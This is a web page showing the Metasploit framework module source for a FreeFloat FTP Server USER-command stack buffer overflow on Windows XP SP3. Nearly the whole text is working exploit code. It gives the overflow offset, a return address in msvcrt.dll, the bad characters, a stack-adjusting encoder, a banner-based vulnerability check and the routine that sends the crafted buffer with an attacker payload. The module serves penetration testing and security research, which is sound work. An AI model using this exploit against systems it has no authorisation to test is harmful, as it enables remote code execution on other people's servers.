Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/freefloatftp_user.rb
23670 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Free Float FTP Server USER Command Buffer Overflow',
16
'Description' => %q{
17
Freefloat FTP Server is prone to an overflow condition. It
18
fails to properly sanitize user-supplied input resulting in a
19
stack-based buffer overflow. With a specially crafted 'USER'
20
command, a remote attacker can potentially have an unspecified
21
impact.
22
},
23
'Platform' => 'win',
24
'Author' => [
25
'D35m0nd142', # Original exploit
26
'Doug Prostko <dougtko[at]gmail.com>' # MSF module
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
[ 'CVE', '2012-10023' ],
31
[ 'OSVDB', '69621'],
32
[ 'EDB', '23243']
33
],
34
'Privileged' => false,
35
'Payload' => {
36
'Space' => 444,
37
'DisableNops' => true,
38
'BadChars' => "\x00\x0a\x0d",
39
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
40
},
41
'Targets' => [
42
[
43
'FreeFloat / Windows XP SP3',
44
{
45
'Ret' => 0x77c35459, # push esp; ret - mscvrt.dll
46
'Offset' => 230
47
}
48
],
49
],
50
'DefaultTarget' => 0,
51
'DisclosureDate' => '2012-06-12',
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
end
60
61
def check
62
connect
63
disconnect
64
if (banner =~ /FreeFloat/)
65
# Software is never updated, so if you run this you're f*cked.
66
return Exploit::CheckCode::Vulnerable
67
else
68
return Exploit::CheckCode::Safe
69
end
70
end
71
72
def exploit
73
connect
74
buf = rand_text(target['Offset'])
75
buf << [ target['Ret'] ].pack('V')
76
buf << rand_text(8)
77
buf << payload.encoded
78
send_user(buf)
79
disconnect
80
end
81
end
82
83